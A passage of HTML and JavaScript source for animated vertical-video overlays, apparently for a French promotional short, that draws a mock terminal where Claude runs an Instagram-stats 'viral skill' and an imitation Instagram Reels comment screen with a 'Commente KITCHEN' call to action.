    const a = -14 + 128 * nw;
    $('name').style.webkitMaskImage = `linear-gradient(90deg, #000 ${a}%, transparent ${a + 14}%)`;
    $('name').style.transform = `translateY(${10 * (1 - S(t - 0.86, 12))}px)`;
    $('nameBar').style.opacity = 1 - clamp(nw * 2.2);

    // Community manager: the blue highlighter sweeps left to right, white text rides it
    const p = smooth((t - 1.35) / 0.47);
    const ins = (1 - p) * 100;
    $('pill').querySelector('.bg').style.clipPath = `inset(0 ${ins}% 0 0 round 39px)`;
    $('pill').querySelector('.tx').style.clipPath = `inset(0 ${Math.max(0, ins - 2)}% 0 0)`;
    $('roleBar').style.opacity = 1 - clamp(p * 2.5);

    // Instagram: stamped on the badge corner like a company logo
    const k = S(t - 2.61, 16);
    const kOn = clamp((t - 2.61) / 0.07);
    const cx = 240 + 572, cy = 330 + 148; // frame coords of the sticker centre
    $('igWrap').style.transform = `translate(${cx - 70}px, ${cy - 70}px) rotate(${-15 + 7 * k}deg) scale(${1.32 - 0.32 * k})`;
    $('igWrap').style.opacity = kOn;
    const blur = 34 - 22 * k, off = 26 - 16 * k, al = 0.16 + 0.10 * k;
    $('igWrap').style.filter = `drop-shadow(0 ${off}px ${blur}px rgba(20,22,27,${al})) drop-shadow(0 3px 5px rgba(20,22,27,${0.14 * k}))`;

    // @ton.compte
    const h = S(t - 2.83, 22);
    $('handle').style.opacity = h;
    $('handle').style.transform = `translateY(${16 * (1 - h)}px)`;
    $('handleBar').style.opacity = 1 - clamp(h * 2.2);
  };
  window.setT(0);
</script>
</body></html>

<!doctype html>
<html><head><meta charset="utf-8">
<!-- Beat 16.50-20.15 s: "Il récupère tes vraies stats, te compare aux comptes de ta niche qui explosent."
     Claude Code runs the viral skill: treg pulls the real Instagram stats, then the niche top, and the gap shows (x31).
     Transparent 1080x1920 overlay at paper level. Draws only inside x 60-1020, y 140-1090.
     Every state is a pure function of t in window.setT(t). -->
<style>
  html, body { margin: 0; background: transparent; }
  body { width: 1080px; height: 1920px; overflow: hidden; -webkit-font-smoothing: antialiased; }
  #stage { position: absolute; left: 0; top: 0; width: 1080px; height: 1920px; overflow: hidden; }
  #panel { position: absolute; left: 60px; top: 142px; width: 960px; height: 908px; border-radius: 34px; background: #14161B;
    box-shadow: 0 20px 34px -14px rgba(20,22,27,.55), 0 10px 20px -10px rgba(20,22,27,.40), 0 0 0 1px rgba(255,255,255,.04) inset;
    transform-origin: 50% 100%; overflow: hidden; will-change: transform, opacity; }
  #head { position: absolute; left: 0; top: 0; width: 960px; height: 104px; background: #1C1F26; border-bottom: 1px solid rgba(255,255,255,.07);
    display: flex; align-items: center; padding: 0 34px; box-sizing: border-box; gap: 16px; }
  .dot { width: 18px; height: 18px; border-radius: 50%; background: #3A3E48; }
  .dots { display: flex; gap: 12px; margin-right: 14px; }
  .chip { width: 60px; height: 60px; border-radius: 16px; background: #fff; display: flex; align-items: center; justify-content: center;
    box-shadow: 0 6px 14px rgba(0,0,0,.35); }
  .chip img { width: 46px; height: 46px; display: block; }
  #claude { width: 60px; height: 60px; border-radius: 16px; display: block; box-shadow: 0 6px 14px rgba(0,0,0,.35); }
  #title { font-family: "Bricolage Grotesque"; font-weight: 800; font-size: 40px; color: #F4F1EA; letter-spacing: -.5px; margin-left: 8px; }
  #title span { color: #8A909C; font-weight: 700; }
  .ln { position: absolute; left: 44px; font-family: "JetBrains Mono"; font-size: 35px; line-height: 54px; height: 54px; white-space: pre; color: #E8E6E1; }
  .pr { color: #258EFF; font-weight: 700; }
  .cmd { font-weight: 600; }
  .caret { display: inline-block; width: 18px; height: 38px; background: #E8E6E1; vertical-align: -7px; margin-left: 2px; }
  .muted { color: #8A909C; }
  .num { color: #F4F1EA; font-weight: 700; }
  #spin { position: absolute; left: 0; top: 11px; width: 32px; height: 32px; }
  #hl { position: absolute; height: 46px; border-radius: 10px; background: rgba(37,142,255,.22); box-shadow: inset 0 0 0 2px rgba(37,142,255,.7); }
  #tag { position: absolute; right: 30px; top: 280px; height: 76px; padding: 0 30px 0 22px; border-radius: 22px; background: #258EFF;
    display: flex; align-items: center; gap: 14px; font-family: "Bricolage Grotesque"; font-weight: 800; font-size: 38px; color: #fff;
    box-shadow: 0 16px 30px -8px rgba(37,142,255,.55), 0 6px 14px rgba(0,0,0,.35); transform-origin: 50% 50%; white-space: nowrap; }
  /* result card */
  #card { position: absolute; left: 32px; top: 496px; width: 896px; height: 382px; border-radius: 28px; background: #FBFAF6;
    box-shadow: 0 24px 50px -16px rgba(0,0,0,.6), 0 6px 16px rgba(0,0,0,.3); overflow: hidden; }
  .lab { position: absolute; font-family: "Bricolage Grotesque"; font-weight: 800; font-size: 42px; color: #14161B; letter-spacing: -.5px; }
  .val { position: absolute; font-family: "Bricolage Grotesque"; font-weight: 800; font-size: 38px; color: #14161B; white-space: nowrap; letter-spacing: -.3px; }
  .bar { position: absolute; border-radius: 14px; }
  .trk { position: absolute; left: 40px; width: 560px; border-radius: 16px; background: #ECE8DF; box-shadow: inset 0 2px 4px rgba(20,22,27,.06); }
  #barMe { left: 40px; top: 96px; height: 52px; background: #14161B; box-shadow: 0 8px 16px -6px rgba(20,22,27,.5); }
  #barNi { left: 40px; top: 248px; height: 64px; border-radius: 16px; background: #258EFF; box-shadow: 0 12px 24px -8px rgba(37,142,255,.6); }
  .av { position: absolute; width: 58px; height: 58px; border-radius: 50%; border: 4px solid #FBFAF6; box-sizing: content-box; }
  .av i { position: absolute; inset: 0; border-radius: 50%; filter: blur(5px); }
  .hb { position: absolute; height: 18px; border-radius: 9px; background: #C9C6BE; filter: blur(4px); }
  #rocket { position: absolute; width: 84px; height: 84px; top: 238px; }
  #x31 { position: absolute; right: 40px; top: 30px; font-family: "Bricolage Grotesque"; font-weight: 800; font-size: 150px; line-height: 1;
    color: #258EFF; letter-spacing: -3px; transform-origin: 100% 50%; }
</style></head>
<body><div id="stage">
  <div id="panel">
    <div id="head">
      <div class="dots"><i class="dot"></i><i class="dot"></i><i class="dot"></i></div>
      <img id="claude" src="../assets/logos/claude.png">
      <div class="chip"><img src="../assets/logos/treg.png"></div>
      <div id="title">Claude <span>·</span> viral skill</div>
    </div>
    <div class="ln" id="l1" style="top:130px"></div>
    <div class="ln" id="l2" style="top:184px"></div>
    <div id="hl"></div>
    <div class="ln" id="r1" style="top:240px"></div>
    <div class="ln" id="r2" style="top:294px"></div>
    <div class="ln" id="r3" style="top:348px"></div>
    <div class="ln" id="l3" style="top:420px"></div>
    <div id="tag"><svg width="40" height="40" viewBox="0 0 24 24" fill="none" stroke="#fff" stroke-width="3.2" stroke-linecap="round" stroke-linejoin="round"><path d="M4.5 12.5l5 5L19.5 7"/></svg>données réelles</div>
    <div id="card">
      <div class="lab" id="labMe" style="left:40px; top:30px">toi</div>
      <div class="trk" id="trkMe" style="top:96px; height:52px"></div>
      <div class="bar" id="barMe"></div>
      <div class="val" id="valMe" style="top:100px">~2 600 vues</div>
      <div class="lab" id="labNi" style="left:40px; top:176px">niche</div>
      <div id="avs"></div>
      <div class="trk" id="trkNi" style="top:248px; height:64px"></div>
      <div class="bar" id="barNi"></div>
      <img id="rocket" src="../assets/icons/glyph/rocket.png">
      <div class="val" id="valNi" style="left:40px; top:318px">0 vues</div>
      <div id="x31">x31</div>
    </div>
  </div>
</div>
<script>
const $ = id => document.getElementById(id);
const S = (x, w) => x <= 0 ? 0 : 1 - (1 + w * x) * Math.exp(-w * x);
const cl = (x, a = 0, b = 1) => Math.min(b, Math.max(a, x));
const esc = s => s.replace(/&/g, '&amp;').replace(/</g, '&lt;');
const fmt = n => String(Math.round(n)).replace(/\B(?=(\d{3})+(?!\d))/g, ' ');

const CMD1 = 'treg call instagram stats @toncompte';
const CMD2 = 'treg call instagram top --niche ia';
const ROWS = [['09/10', '2 629'], ['07/10', '4 120'], ['05/10', '3 380']];
const CARET = '<i class="caret"></i>';

// spinner (an arc that turns with t), drawn in svg
const spinSVG = a => `<svg id="spin" viewBox="0 0 32 32"><circle cx="16" cy="16" r="12" fill="none" stroke="#3A3E48" stroke-width="4"/>` +
  `<circle cx="16" cy="16" r="12" fill="none" stroke="#258EFF" stroke-width="4" stroke-linecap="round" stroke-dasharray="22 60" transform="rotate(${a} 16 16)"/></svg>`;
const checkSVG = `<svg style="position:absolute;left:0;top:11px" width="32" height="32" viewBox="0 0 24 24" fill="none" stroke="#258EFF" stroke-width="3.4" stroke-linecap="round" stroke-linejoin="round"><path d="M4.5 12.5l5 5L19.5 7"/></svg>`;

// typed command line: returns html
function typed(cmd, t0, cps, t, caretOn) {
  const n = cl(Math.floor((t - t0) * cps), 0, cmd.length);
  const done = n >= cmd.length;
  return `<span class="pr">❯ </span><span class="cmd">${esc(cmd.slice(0, n))}</span>${caretOn && (!done || Math.floor(t * 2.5) % 2 === 0) ? CARET : ''}`;
}

// blurred avatars next to the niche label
const AV = [['#F2A65A', '#E0457B'], ['#6C5CE7', '#00B4D8'], ['#2EC4B6', '#F7B32B']];
$('avs').innerHTML = AV.map((c, i) =>
  `<div class="av" id="av${i}" style="left:${190 + i * 44}px; top:168px; z-index:${3 - i}"><i style="background:linear-gradient(135deg,${c[0]},${c[1]})"></i></div>`).join('') +
  `<div class="hb" id="hb0" style="left:370px; top:180px; width:150px"></div><div class="hb" id="hb1" style="left:540px; top:180px; width:110px"></div>` +
  `<div class="hb" id="hb2" style="left:370px; top:208px; width:96px; opacity:.7"></div>`;

const CW = 0.6 * 35; // JetBrains Mono advance at 35 px
const NI_W = 560;     // full width of the niche bar
const ME_W = 30;      // you: about 2 600 / 62 755 of the niche bar, kept visible

window.setT = function (t) {
  // panel in (0-.3) and whip out (3.35-3.65)
  const a = S(t, 20);
  const u = cl((t - 3.35) / 0.3);
  const P = $('panel');
  P.style.opacity = cl(t / 0.12);
  P.style.transform = `translateX(${-1150 * u * u}px) scale(${0.9 + 0.1 * a})`;

  // command 1 types from .22 (37 chars by ~.52)
  const t1end = 0.22 + CMD1.length / 125;
  $('l1').innerHTML = t < 0.16 ? `<span class="pr">❯ </span>${CARET}` : typed(CMD1, 0.22, 125, t, t < t1end + 0.06);

  // status line: spinner while fetching (.56-.86), then a check
  const l2 = $('l2');
  if (t < 0.56) l2.innerHTML = '';
  else if (t < 0.86) l2.innerHTML = spinSVG((t * 720) % 360) + `<span class="muted">   fetching reels…</span>`;
  else l2.innerHTML = checkSVG + `<span class="muted">   3 reels · </span><span class="num">@toncompte</span>`;
  l2.style.opacity = cl((t - 0.56) / 0.06);

  // rows stream in fast (.60, .68, .76)
  ROWS.forEach((r, i) => {
    const e = $('r' + (i + 1)), k = S(t - (0.60 + i * 0.08), 26);
    e.innerHTML = `<span class="muted">Reel ${r[0]}  </span><span class="num">${r[1]}</span><span class="muted"> vues</span>`;
    e.style.opacity = k; e.style.transform = `translateY(${(1 - k) * 22}px)`;
  });

  // highlight on my latest reel (the number the comparison uses), 1.20
  const h = S(t - 1.20, 18), hl = $('hl');
  hl.style.left = (44 + CW * 12 - 8) + 'px'; hl.style.top = '244px';
  hl.style.width = (CW * 5 + 16) * h + 'px'; hl.style.opacity = h;

  // "données réelles" stamp lands .83 -> 1.07, from slightly larger down to 1, no overshoot
  const s = S(t - 0.83, 22), tag = $('tag');
  tag.style.opacity = cl((t - 0.83) / 0.08);
  tag.style.transform = `scale(${1.22 - 0.22 * s})`;

  // command 2 types from 1.64
  const l3 = $('l3');
  l3.style.opacity = t < 1.56 ? 0 : 1;
  l3.innerHTML = typed(CMD2, 1.64, 125, t, t < 1.64 + CMD2.length / 125 + 0.1);

  // result card rises 1.80
  const c = S(t - 1.80, 16), card = $('card');
  card.style.opacity = cl((t - 1.80) / 0.1);
  card.style.transform = `translateY(${(1 - c) * 60}px)`;

  // you: label + short ink bar (1.90)
  const m = S(t - 1.90, 18);
  $('labMe').style.opacity = cl((t - 1.86) / 0.1);
  $('barMe').style.width = ME_W * m + 'px';
  $('valMe').style.left = (40 + ME_W * m + 22) + 'px';
  $('valMe').style.opacity = cl((t - 1.98) / 0.1);

  // niche: label then three blurred accounts (2.14, 2.22, 2.30)
  $('labNi').style.opacity = cl((t - 2.08) / 0.1);
  for (let i = 0; i < 3; i++) {
    const k = S(t - (2.14 + i * 0.08), 22), e = $('av' + i);
    e.style.opacity = k; e.style.transform = `translateX(${(1 - k) * -24}px)`;
    const b = $('hb' + i); b.style.opacity = (i === 2 ? 0.7 : 1) * cl((t - 2.22 - i * 0.05) / 0.12);
  }

  // long bar grows 2.60 -> 3.10, value counts with it
  const g = Math.min(1, S((t - 2.60) / 0.5, 5.2) / S(1, 5.2));
  const W = NI_W * g;
  $('barNi').style.width = W + 'px';
  $('barNi').style.opacity = t < 2.60 ? 0 : 1;
  const vn = $('valNi');
  vn.textContent = fmt(62755 * g) + ' vues';
  vn.style.opacity = cl((t - 2.60) / 0.08);

  // explosent 3.07: rocket at the bar end + x31
  const r = S(t - 3.07, 22), rk = $('rocket');
  rk.style.left = (40 + W + 10) + 'px';
  rk.style.opacity = cl((t - 3.07) / 0.08);
  rk.style.transform = `translate(${(1 - r) * -18}px, ${(1 - r) * 18}px)`;
  const x = S(t - 3.07, 20), xe = $('x31');
  xe.style.opacity = cl((t - 3.07) / 0.08);
  xe.style.transform = `scale(${1.25 - 0.25 * x})`;
};
window.setT(0);
</script>
</body></html>

<!doctype html>
<html><head><meta charset="utf-8">
<!-- ig-cta (short-kitchen-composants-premium): copied from short-claude-logo-graphistes-nico/source/ig-cta.html, word KITCHEN.
     Placed with offset 1.30 so the comment tap (1.365) lands on « Commente » (short 22.85). Clip time = short time - 21.50:
     KITCHEN typed 1.58..1.79 (« Kitchen » 1.68), banner on « t'envoie » (2.19), KITCHEN comments flood in under the
     viewer's one, +128 DM badge on « suis » (4.20), the creator likes the comment on « me suivre » (5.16). Nothing leaves.
     400x711.1 CSS at zoom 2.7 = 1080x1920, captured with --alpha into assets/ig-cta.mov. -->
<style>
  html, body { margin: 0; background: transparent; }
  body { zoom: 2.7; width: 400px; height: 711.12px; overflow: hidden; color: #f5f5f5; -webkit-font-smoothing: antialiased;
    font-family: -apple-system, "SF Pro Text", "Helvetica Neue", sans-serif; }
  #app { position: relative; width: 400px; height: 711.12px; overflow: hidden; }
  svg { display: block; }
  #gtop { position: absolute; left: 0; top: 0; width: 400px; height: 120px; background: linear-gradient(to bottom, rgba(0,0,0,.42), rgba(0,0,0,0)); }
  #gbot { position: absolute; left: 0; bottom: 0; width: 400px; height: 200px; background: linear-gradient(to top, rgba(0,0,0,.6), rgba(0,0,0,.22) 55%, rgba(0,0,0,0)); }
  .sh { filter: drop-shadow(0 1px 2px rgba(0,0,0,.4)); }
  .tsh { text-shadow: 0 1px 3px rgba(0,0,0,.5); }
  #status { position: absolute; left: 0; top: 0; width: 400px; height: 30px; display: flex; align-items: center; justify-content: space-between;
    padding: 0 22px 0 30px; box-sizing: border-box; font-size: 14px; font-weight: 600; letter-spacing: -.2px; z-index: 30; }
  #status .ic { display: flex; align-items: center; gap: 5px; }
  #rtitle { position: absolute; left: 16px; top: 38px; font-size: 22px; font-weight: 700; letter-spacing: -.5px; display: flex; align-items: center; gap: 4px; }
  #rcam { position: absolute; right: 14px; top: 38px; }
  .rail { position: absolute; left: 374px; top: 0; width: 0; }
  .rail .it { position: absolute; left: -20px; width: 40px; display: flex; flex-direction: column; align-items: center; }
  .rail .ct { font-size: 13px; font-weight: 600; margin-top: 5px; height: 16px; position: relative; width: 60px; text-align: center; letter-spacing: -.1px; overflow: hidden; }
  .rail .ct span { position: absolute; left: 0; right: 0; top: 0; }
  #audio { position: absolute; left: 360px; top: 656px; width: 28px; height: 28px; border-radius: 6px; overflow: hidden; border: 1.5px solid #fff; box-sizing: border-box; }
  #audio img { width: 100%; height: 100%; object-fit: cover; transform: scale(1.32); }
  #info { position: absolute; left: 14px; top: 590px; width: 330px; }
  #info > div { will-change: transform; }
  #info .who { display: flex; align-items: center; gap: 9px; }
  #info .who img { width: 30px; height: 30px; border-radius: 50%; }
  #info .who b { font-size: 14px; font-weight: 700; letter-spacing: -.1px; }
  #follow { height: 26px; padding: 0 11px; border: 1px solid rgba(255,255,255,.75); border-radius: 8px; font-size: 13px; font-weight: 600;
    display: flex; align-items: center; margin-left: 2px; }
  #cap { font-size: 13.5px; line-height: 18px; margin-top: 10px; white-space: nowrap; letter-spacing: -.1px; }
  #cap i { font-style: normal; color: rgba(255,255,255,.72); }
  #music { font-size: 13px; margin-top: 7px; display: flex; align-items: center; gap: 6px; letter-spacing: -.1px; }
  #prog { position: absolute; left: 0; bottom: 0; width: 400px; height: 2px; background: rgba(255,255,255,.28); }
  #prog i { position: absolute; left: 0; top: 0; height: 2px; background: #fff; }
  #dim { position: absolute; inset: 0; background: #000; z-index: 25; }
  /* comments sheet: its top sits at 460 CSS (1242 px), under the caption band (1080..1230), so the face and the captions stay above it */
  #sheet { position: absolute; left: 0; top: 460px; width: 400px; height: 251.12px; background: #262626; border-radius: 16px 16px 0 0; z-index: 26; overflow: hidden;
    box-shadow: 0 -3px 14px rgba(0,0,0,.28); }
  #handle { position: absolute; left: 182px; top: 8px; width: 36px; height: 4px; border-radius: 2px; background: #6e6e6e; }
  #stitle { position: absolute; left: 0; top: 20px; width: 400px; text-align: center; font-size: 15.5px; font-weight: 700; letter-spacing: -.2px; }
  #splane { position: absolute; left: 330px; top: 19px; }
  #dmb { position: absolute; left: 347px; top: 6px; height: 21px; padding: 0 6px; border-radius: 11px; background: #258EFF; border: 2px solid #262626;
    font-size: 12.8px; font-weight: 700; letter-spacing: -.2px; display: flex; align-items: center; color: #fff; transform-origin: 30% 60%; }
  #hair { position: absolute; left: 0; top: 50px; width: 400px; height: .5px; background: rgba(255,255,255,.14); }
  #list { position: absolute; left: 0; top: 0; width: 400px; height: 192px; overflow: hidden; }
  .crow { position: absolute; left: 0; width: 400px; height: 60px; }
  .crow .hl { position: absolute; inset: 0; background: rgba(37,142,255,.22); }
  .cav { position: absolute; left: 14px; top: 9px; width: 32px; height: 32px; border-radius: 50%; display: flex; align-items: center; justify-content: center;
    font-weight: 800; font-size: 13px; color: #fff; overflow: hidden; }
  .cav img { width: 100%; height: 100%; }
  .cbody { position: absolute; left: 56px; top: 7px; width: 290px; }
  .cname { font-size: 13px; line-height: 17px; display: flex; gap: 6px; align-items: baseline; }
  .cname b { font-weight: 600; letter-spacing: -.1px; } .cname b.anon { filter: blur(4px); } .cname span { color: #a8a8a8; font-size: 13px; }
  .cav.anon { filter: blur(4px); }
  .ctext { font-size: 15px; line-height: 20px; letter-spacing: -.15px; white-space: nowrap; }
  .creply { font-size: 13px; line-height: 16px; color: #a8a8a8; font-weight: 600; margin-top: 1px; }
  .clike { position: absolute; left: 362px; top: 14px; width: 24px; display: flex; flex-direction: column; align-items: center; gap: 2px;
    font-size: 13px; color: #a8a8a8; }
  .clike .hf { transform-origin: 50% 50%; }
  /* composer, the bottom of the sheet */
  #composer { position: absolute; left: 0; top: 192px; width: 400px; height: 59.12px; background: #262626; }
  #composer .hair { position: absolute; left: 0; top: 0; width: 400px; height: .5px; background: rgba(255,255,255,.12); }
  #cav2 { position: absolute; left: 14px; top: 13px; width: 32px; height: 32px; border-radius: 50%; background: linear-gradient(135deg,#f4a261,#7b2cbf); filter: blur(4px); }
  #field { position: absolute; left: 56px; top: 9px; width: 330px; height: 40px; border-radius: 20px; border: 1px solid #3c3c3c; box-sizing: border-box; }
  #ftext { position: absolute; left: 15px; top: 0; height: 38px; display: flex; align-items: center; font-size: 17px; font-weight: 500; letter-spacing: -.1px; }
  #ftext span { display: inline-block; }
  #ph { position: absolute; left: 15px; top: 0; height: 38px; display: flex; align-items: center; font-size: 15px; color: #8e8e8e; letter-spacing: -.1px; }
  #caret { width: 2px; height: 21px; border-radius: 1px; background: #0095F6; margin-left: 1px; }
  #pub { position: absolute; right: 15px; top: 0; height: 38px; display: flex; align-items: center; font-size: 15px; font-weight: 700; color: #0095F6; transform-origin: 70% 50%; }
  /* iOS banners: the newest in front, the older ones stacked behind it */
  .ban { position: absolute; left: 8px; top: 10px; width: 384px; border-radius: 18px; background: rgb(32,32,32);
    box-shadow: 0 10px 34px rgba(0,0,0,.45), 0 0 0 .5px rgba(255,255,255,.08) inset; height: 98px; transform-origin: 50% 0; }
  .ban .app { position: absolute; left: 12px; top: 29px; width: 40px; height: 40px; border-radius: 10px; overflow: hidden; }
  .ban .app img { width: 100%; height: 100%; transform: scale(1.04); }
  .ban .tx { position: absolute; left: 64px; top: 11px; width: 262px; }
  .ban .meta { font-size: 13px; line-height: 15px; color: #a3a3a3; letter-spacing: -.05px; }
  .ban .t1 { font-size: 15.5px; line-height: 20px; font-weight: 700; letter-spacing: -.2px; margin-top: 1px; }
  .ban .t2 { font-size: 15.5px; line-height: 20px; letter-spacing: -.2px; }
  .ban .ava { position: absolute; right: 12px; top: 30px; width: 38px; height: 38px; border-radius: 50%; }
  .ban .thumb { position: absolute; right: 12px; top: 30px; width: 38px; height: 38px; border-radius: 9px; }
  /* the viewer's finger */
  #dot { position: absolute; left: 0; top: 0; width: 34px; height: 34px; margin: -17px 0 0 -17px; border-radius: 50%; z-index: 60;
    box-sizing: border-box; border: 2px solid rgba(255,255,255,.95); box-shadow: 0 2px 10px rgba(0,0,0,.3); }
  .rip { position: absolute; left: 0; top: 0; width: 60px; height: 60px; margin: -30px 0 0 -30px; border-radius: 50%; z-index: 59;
    box-sizing: border-box; border: 2px solid rgba(255,255,255,.9); }
</style></head>
<body><div id="app">
  <div id="gtop"></div><div id="gbot"></div>

  <div id="status" class="tsh"><span>9:41</span><div class="ic">
    <svg width="18" height="12" viewBox="0 0 18 12" fill="#fff"><rect x="0" y="8" width="3" height="4" rx="1"/><rect x="5" y="5.5" width="3" height="6.5" rx="1"/><rect x="10" y="3" width="3" height="9" rx="1"/><rect x="15" y="0" width="3" height="12" rx="1"/></svg>
    <svg width="16" height="12" viewBox="0 0 16 12" fill="#fff"><path d="M8 2.6c2.2 0 4.2.85 5.7 2.250l1.2-1.25C13.1 1.9 10.7.9 8 .9S2.9 1.9 1.1 3.6l1.2 1.25C3.8 3.450 5.8 2.6 8 2.6z"/><path d="M8 6.1c1.25 0 2.4.5 3.25 1.3l1.2-1.25A6.4 6.4 0 0 0 8 4.4c-1.7 0-3.3.65-4.45 1.750l1.2 1.25C5.6 6.6 6.75 6.1 8 6.1z"/><path d="M8 9.4l2-2.05a2.8 2.8 0 0 0-4 0z" transform="translate(0 1.4)"/></svg>
    <svg width="27" height="13" viewBox="0 0 27 13"><rect x=".5" y=".5" width="23" height="12" rx="3.6" fill="none" stroke="rgba(255,255,255,.45)"/><rect x="2" y="2" width="18" height="9" rx="2.2" fill="#fff"/><path d="M25 4.5v4c.8-.3 1.3-1.1 1.3-2s-.5-1.7-1.3-2z" fill="rgba(255,255,255,.45)"/></svg>
  </div></div>

  <div id="rtitle" class="tsh">Reels<svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="#fff" stroke-width="3" stroke-linecap="round" stroke-linejoin="round" style="margin-top:3px"><path d="M6 9l6 6 6-6"/></svg></div>
  <div id="rcam" class="sh"><svg width="26" height="26" viewBox="0 0 24 24" fill="none" stroke="#fff" stroke-width="1.9" stroke-linejoin="round"><path d="M3 8.6c0-1.2 1-2.1 2.1-2.1h2.3l1.4-2h6.4l1.4 2h2.3c1.2 0 2.1 1 2.1 2.1v9.3c0 1.2-1 2.1-2.1 2.1H5.1C4 20 3 19 3 17.9z"/><circle cx="12" cy="12.8" r="3.7"/></svg></div>

  <div class="rail">
    <div class="it sh rit" style="top:444px">
      <svg width="28" height="28" viewBox="0 0 24 24"><path fill="#fff" d="M16.792 3.904A4.989 4.989 0 0 1 21.5 9.122c0 3.072-2.652 4.959-5.197 7.222-2.512 2.243-3.865 3.469-4.303 3.752-.477-.309-2.143-1.823-4.303-3.752C5.141 14.072 2.5 12.167 2.5 9.122a4.989 4.989 0 0 1 4.708-5.218 4.21 4.21 0 0 1 3.675 1.941c.84 1.175.98 1.763 1.12 1.763s.278-.588 1.11-1.766a4.17 4.17 0 0 1 3.679-1.938m0-2a6.04 6.04 0 0 0-4.797 2.127 6.052 6.052 0 0 0-4.787-2.127A6.985 6.985 0 0 0 .5 9.122c0 3.61 2.550 5.827 5.015 7.970.283.246.569.494.853.747l1.027.918a44.998 44.998 0 0 0 3.518 3.018 2 2 0 0 0 2.174 0 45.263 45.263 0 0 0 3.626-3.115l.922-.824c.293-.26.59-.519.885-.774 2.334-2.025 4.98-4.32 4.98-7.94a6.985 6.985 0 0 0-6.708-7.218Z"/></svg>
      <div class="ct tsh"><span>8&nbsp;731</span></div>
    </div>
    <div class="it sh rit" id="icom" style="top:502px">
      <svg id="comsvg" width="28" height="28" viewBox="0 0 24 24" fill="none" stroke="#fff" stroke-width="2" stroke-linejoin="round"><path d="M20.656 17.008a9.993 9.993 0 1 0-3.59 3.615L22 22Z"/></svg>
      <div class="ct tsh"><span id="cc0">2&nbsp;415</span><span id="cc1">2&nbsp;416</span></div>
    </div>
    <div class="it sh rit" style="top:560px">
      <svg width="27" height="27" viewBox="0 0 24 24" fill="none" stroke="#fff" stroke-width="2" stroke-linejoin="round"><line x1="22" x2="9.218" y1="3" y2="10.083"/><polygon points="11.698 20.334 22 3.001 2 3.001 9.218 10.084 11.698 20.334"/></svg>
      <div class="ct tsh"><span>1&nbsp;937</span></div>
    </div>
    <div class="it sh rit" style="top:618px">
      <svg width="24" height="24" viewBox="0 0 24 24" fill="#fff"><circle cx="5" cy="12" r="1.7"/><circle cx="12" cy="12" r="1.7"/><circle cx="19" cy="12" r="1.7"/></svg>
    </div>
  </div>
  <div id="audio"><img src="../assets/images/avatar.png"></div>

  <div id="info" class="tsh">
    <div class="who"><img src="../assets/images/avatar.png"><b>toncompte</b><div id="follow">Suivre</div></div>
    <div id="cap">Commente KITCHEN et je t'envoie le lien<i>… plus</i></div>
    <div id="music"><svg width="12" height="12" viewBox="0 0 24 24" fill="#fff"><path d="M9 3v11.6A3.5 3.5 0 1 0 11 18V8h8V3z"/></svg><span>toncompte · Son original</span></div>
  </div>
  <div id="prog"><i id="progi"></i></div>

  <div id="dim"></div>
  <div id="sheet">
    <div id="list"></div>
    <div id="handle"></div>
    <div id="stitle">Commentaires</div>
    <div id="splane"><svg width="22" height="22" viewBox="0 0 24 24" fill="none" stroke="#f5f5f5" stroke-width="2" stroke-linejoin="round"><line x1="22" x2="9.218" y1="3" y2="10.083"/><polygon points="11.698 20.334 22 3.001 2 3.001 9.218 10.084 11.698 20.334"/></svg></div>
    <div id="dmb">+128</div>
    <div id="hair"></div>
    <div id="composer">
      <div class="hair"></div>
      <div id="cav2"></div>
      <div id="field"><div id="ph">Ajouter un commentaire…</div><div id="ftext"><span id="typed"></span><i id="caret"></i></div><div id="pub">Publier</div></div>
    </div>
  </div>

  <div class="ban" id="ban0"><div class="app"><img src="../assets/logos/instagram.png"></div>
    <div class="tx"><div class="meta">Instagram · maintenant</div><div class="t1">toncompte</div><div class="t2">Voici le lien de Kitchen, la librairie complète</div></div>
    <img class="ava" src="../assets/images/avatar.png"></div>

  <div class="rip" id="rip0"></div><div class="rip" id="rip1"></div>
  <div id="dot"></div>
</div>
<script>
const $ = id => document.getElementById(id);
const clamp = (v, a = 0, b = 1) => Math.min(b, Math.max(a, v));
const seg = (t, a, b) => clamp((t - a) / (b - a));
// critically damped spring from rest (never overshoots)
const S = (x, w = 14) => x <= 0 ? 0 : 1 - (1 + w * x) * Math.exp(-w * x);
// same spring with a launch velocity k in [0,1]: still monotonic, never overshoots
const SV = (x, w = 14, k = .6) => x <= 0 ? 0 : 1 - (1 + w * (1 - k) * x) * Math.exp(-w * x);
const out = p => 1 - Math.pow(1 - p, 3), io = p => p < .5 ? 4 * p * p * p : 1 - Math.pow(-2 * p + 2, 3) / 2;
const lerp = (a, b, p) => a + (b - a) * p;
const HEART_O = '<svg width="14" height="14" viewBox="0 0 24 24"><path fill="#a8a8a8" d="M16.792 3.904A4.989 4.989 0 0 1 21.5 9.122c0 3.072-2.652 4.959-5.197 7.222-2.512 2.243-3.865 3.469-4.303 3.752-.477-.309-2.143-1.823-4.303-3.752C5.141 14.072 2.5 12.167 2.5 9.122a4.989 4.989 0 0 1 4.708-5.218 4.21 4.21 0 0 1 3.675 1.941c.84 1.175.98 1.763 1.12 1.763s.278-.588 1.11-1.766a4.17 4.17 0 0 1 3.679-1.938m0-2a6.04 6.04 0 0 0-4.797 2.127 6.052 6.052 0 0 0-4.787-2.127A6.985 6.985 0 0 0 .5 9.122c0 3.61 2.55 5.827 5.015 7.97.283.246.569.494.853.747l1.027.918a44.998 44.998 0 0 0 3.518 3.018 2 2 0 0 0 2.174 0 45.263 45.263 0 0 0 3.626-3.115l.922-.824c.293-.26.59-.519.885-.774 2.334-2.025 4.98-4.32 4.98-7.94a6.985 6.985 0 0 0-6.708-7.218Z"/></svg>';
const HEART_F = '<svg width="14" height="14" viewBox="0 0 24 24"><path fill="#ff3040" d="M12 21.6c-.4 0-.8-.1-1.1-.4-3.5-3-9.4-7.3-9.4-12.3A5.9 5.9 0 0 1 7.4 2.9 5.6 5.6 0 0 1 12 5.2a5.6 5.6 0 0 1 4.6-2.3 5.9 5.9 0 0 1 5.9 6c0 5-5.9 9.3-9.4 12.3-.3.3-.7.4-1.1.4z"/></svg>';

// ---- event times (seconds from the component start). Words: le 0.00, brand 0.11, book 0.38, brand 0.68, design 0.85,
// clip time = short - 21.50: Commente 1.35, Kitchen 1.68, t'envoie 2.19, lien 2.51, librairie 2.75, complète 3.14, suis 4.20,
// Instagram 4.48, suivre 5.54, commande Kitchen 6.54, end 7.2
const T0 = .05;                                                      // chrome starts here, readable by ~.25
